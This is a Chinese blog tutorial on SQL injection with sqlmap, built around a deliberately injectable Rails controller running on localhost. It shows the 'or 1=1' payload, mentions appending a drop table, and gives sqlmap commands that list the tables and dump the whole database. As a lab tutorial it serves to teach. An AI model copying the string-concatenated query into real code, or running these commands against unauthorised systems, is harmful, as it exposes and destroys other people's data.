SQLMAP的使用(rails 为例)

发布时间:2023年12月17日

1.启动一个项目,例如rails学习的项目,修改config/database.yml,

假设来一个接口

class YourModel::YourController < ApplicationController
def test_sqli
  sql = "select * from your_table_name where id = " + params[:my_id] + " or 1 = 1"
  @blogs = ActiveRecord::Base.connection.execute(sql)
end

我们启动之后,可以正常访问接口,返回的是博客数据。例如我在本地启动一个测试的demo:

controller:

class Api::BlogsController < ActionController::Base
  def sqli_test
    sql = "select * from blogs where id = " + params[:blog_id] #+ " or 1 = 1"
    #sql = "select * from blogs where id = " + params[:blog_id] + " or 1 = 1"
    @blogs = ActiveRecord::Base.connection.execute(sql)
    render json: {
      blogs: @blogs
    }   
  end 
end

routes:

  namespace :api do                                                                   |~                                                                                     
    resources :blogs do                                                               |~                                                                                     
      collection do                                                                   |~                                                                                     
        get :sqli_test                                                                |~                                                                                     
      end                                                                             |~                                                                                     
    end                                                                               |~                                                                                     
                                                                                      |~                                                                                     
  end 

url:

http://localhost:3000/api/blogs/sqli_test?blog_id=2

返回的是博客的数据:

{
  "blogs": [
    {
      "id": "2",
      "title": "test",
      "time": null,
      "content": "<p>test</p>\r\n\r\n<p>&nbsp;</p>\r\n",
      "created_at": "2023-12-12 01:06:20.234003",
      "updated_at": "2023-12-12 01:06:20.234003",
      "url": null,
      "edit_url": null,
      "category": null,
      "category_id": null,
      "is_top": "f"
    }
  ]
}

但是这种写法会把数据库的权限暴露出去,会被人占领,也就是说你的机器会被人直接拿到root,

例如我把注释的or 1=1取消注释,那么接口就会返回所有的博客数据:

或者我恢复注释,在请求参数中增加,返回的也是blog的所有的数据:

这就是黑客手法,就是没有权限,因为1=1是永远都是true

这就是通过修改参数来改变SQL的行为,我们本来是希望当前的用户只能查到某个的id的内容,但是他一下子就把所有的内容都拿到了。

那么这里暴露出来的点就是越权,超越了他能读取的权限,比如说我们让普通用户只能读取普通的 用户的,管理员能读取所有人的,那么他瞬间就让自己提升了权限, 成为了管理员,进一步的话,他能把整个数据库给删除掉。比如说,他可以在or 1 = 1之后增加一个分号,增加一个drop table/database,但是还有更高级的,他能拿到整个数据库的root权限,甚至拿到这个主机,

SQLmap是一个工具,一个非常强大的工具,里边包含了几百种SQL注入的攻击方式,sql注入学的话可能需要学习半年一年,有很多很多,

有一些博士,他在两百多种攻击方式里贡献了一条,那么他就可以毕业了。

他会根据不同的数据库类型进行不同的构造:

我们已经有了sqlmap,那么我们可做一个脚本小子,意思是我们对原理不太懂,但是能让我用这个脚本,我就可以用的很好。在sqlmap的github或者使用命令查看帮助:

python3 /workspace/sqlmap-dev/sqlmap.py -h

?可以使用target,来进行注入

使用-p 增加参数:

例如:

python3 /workspace/sqlmap-dev/sqlmap.py -u http://localhost:3000/api/blogs/sqli_test?blog_id=2 -p blog_id

返回了这样一些内容:

?

?使用--tables可以得到所有的table信息:

python3 /workspace/sqlmap-dev/sqlmap.py -u http://localhost:3000/api/blogs/sqli_test?blog_id=2 -p blog_id --table

使用dump? 可以进行数据库的备份:

?

python3 /workspace/sqlmap-dev/sqlmap.py -u http://localhost:3000/api/blogs/sqli_test?blog_id=2 -p blog_id --dump-all

在日志里会进行信息的输出:

?可以ctrl c 取消备份。

文章来源:https://blog.csdn.net/m0_67038390/article/details/134924432
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。